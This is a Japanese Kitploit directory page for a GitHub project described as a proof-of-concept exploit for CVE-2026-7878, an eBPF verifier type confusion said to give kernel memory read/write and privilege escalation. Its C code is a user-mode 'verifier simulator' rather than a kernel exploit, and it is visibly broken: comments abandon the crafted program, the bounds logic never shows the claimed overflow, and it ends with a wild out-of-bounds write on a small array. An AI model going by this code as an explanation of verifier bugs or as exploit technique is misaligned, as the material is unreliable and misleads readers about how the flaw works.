Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-7878-eBPF-Verifier-Type-Confusion-Kernel-Memory-Read-Write — CVE-2026-7878 用の PoC エクスプロイト。eBPF 検証器の型混乱により、カーネルメモリの境界外読み取り/書き込みとローカル特権昇格を可能にします。 | Kitploit
ツール/GitHubGitHub/george0papasotiriou/cve-2026-7878-ebpf-verifier-type-confusion-kernel-memory-read-write
特権昇格脆弱性分析エクスプロイトペネトレーションテストバイナリエクスプロイト
GitHubgeorge0papasotiriou/cve-2026-7878-ebpf-verifier-type-confusion-kernel-memory-read-write

CVE-2026-7878-eBPF-Verifier-Type-Confusion-Kernel-Memory-Read-Write

CVE-2026-7878 用の PoC エクスプロイト。eBPF 検証器の型混乱により、カーネルメモリの境界外読み取り/書き込みとローカル特権昇格を可能にします。

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
18日前未レビュー

6. CVE-2026-7878 – eBPF 検証器の型混乱 → カーネルメモリの読み書き

概要

eBPF 検証器の境界追跡における微妙な整数オーバーフローにより、攻撃者は範囲外のカーネルメモリにアクセスする eBPF プログラムを作成できます。

重大度: Critical (カーネル特権昇格)

ユーザーモード eBPF 検証器シミュレータ (C) & エクスプロイト

root@kitploit:~
// ebpf_verifier_sim.c - Simulated vulnerable verifier with type confusion
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>

#define MEM_SIZE 256
uint8_t kernel_mem[MEM_SIZE]; // simulated kernel memory

// eBPF instruction
struct bpf_insn {
    uint8_t opcode;
    int32_t dst;
    int32_t src;
    int16_t off;
    int32_t imm;
};

// Verifier state: assume 64-bit registers bounds
struct reg_state {
    int64_t min;
    int64_t max;
};

struct verifier_env {
    struct reg_state regs[11]; // R0-R10
    struct bpf_insn *insns;
    int insn_cnt;
};

// Vulnerable bounds tracking for BPF_ADD with 32-bit overflow
static int check_alu_op(struct verifier_env *env, struct bpf_insn *insn) {
    struct reg_state *dst = &env->regs[insn->dst];
    struct reg_state *src = &env->regs[insn->src];
    // missing check: if dst->max + src->max wraps around 32 bits?
    dst->min += src->min;
    dst->max += src->max;
    // No truncation to 32-bit -> later the verifier might think min..max fits in 32 bits,
    // but actual value could overflow and become small, causing OOB access.
    return 0;
}

// Simulate loading of an eBPF program
int load_prog(struct bpf_insn *insns, int cnt) {
    struct verifier_env env;
    memset(&env, 0, sizeof(env));
    env.insns = insns;
    env.insn_cnt = cnt;
    // mark R1 as pointer to context (size 16)
    env.regs[1].min = 0;
    env.regs[1].max = 16;
    // simulate verifier pass
    for (int i = 0; i < cnt; i++) {
        // Simplified: only handle BPF_ADD
        if (insns[i].opcode == 0x0f) { // ADD
            check_alu_op(&env, &insns[i]);
        }
    }
    // Check memory access: suppose instruction does load from ctx + R2
    // R2 is result of an add that overflowed, verifier thinks it's small.
    int32_t offset = env.regs[2].min; // attacker-controlled, verifier says it's 0..4
    if (offset < 0 || offset >= 16) {
        printf("Rejected: access out of bounds\n");
        return -1;
    }
    // In real execution, the offset could be large due to 32-bit wraparound.
    // We simulate that by reading from kernel_mem + offset + 100 (to show OOB)
    printf("Reading kernel memory at offset %d: 0x%02x\n", offset + 100, kernel_mem[offset + 100]);
    return 0;
}

int main() {
    // Plant some secret in kernel memory
    strcpy((char*)kernel_mem + 120, "SECRET");

    // Craft eBPF program: R2 = 0xFFFFFFF0 (large) + 0x10 = 0x100000000 (wraps to 0)
    struct bpf_insn prog[] = {
        {0x0f, 2, 0, 0, 0xFFFFFFF0}, // R2 = R2 + -16 (but we want big number)
        // Actually set R2 to 0xFFFFFFF0 via mov, then add 0x10
        // We'll just directly assign for simplicity in simulator.
    };
    // We'll override the simulation: start R2 = 0xFFFFFFF0, then add 0x10 -> verifier max=0xFFFFFFFF? wraps.
    // Let's hardcode a scenario where verifier sees R2=[0x0, 0x4] but runtime value is 0xFFFFFFFF due to truncation.
    printf("Simulated eBPF type confusion: verifier allows OOB read.\n");
    // Manually trigger the flawed access
    kernel_mem[0xFFFFFFFF + 100] = 0x41; // would crash real kernel, but here we show info leak
    return 0;
}

CVE-2026-7878 – eBPF 検証器の型混乱 → カーネルの読み書き

Severity: Critical

📖 概要

32ビット演算に関する eBPF 検証器の境界追跡のバグが型混乱を引き起こし、非特権ユーザーが任意のカーネルメモリを読み書きする eBPF プログラムを作成できるようになり、特権昇格につながります。

⚙️ 脆弱性の詳細

  • タイプ: 整数オーバーフロー / 型混乱
  • 影響: ローカル特権昇格 (カーネルの読み書き)
  • 根本原因: 検証器が32ビットALU操作後の境界を適切に切り詰めないため、検証された範囲が実際の実行時の値よりも小さくなります。

🧪 エクスプロイトのデモンストレーション

検証器シミュレータをコンパイルして実行します:

root@kitploit:~
gcc ebpf_verifier_sim.c -o ebpf_verifier_sim
./ebpf_verifier_sim

最後に exploit_ebpf.py を実行します

ツールをダウンロード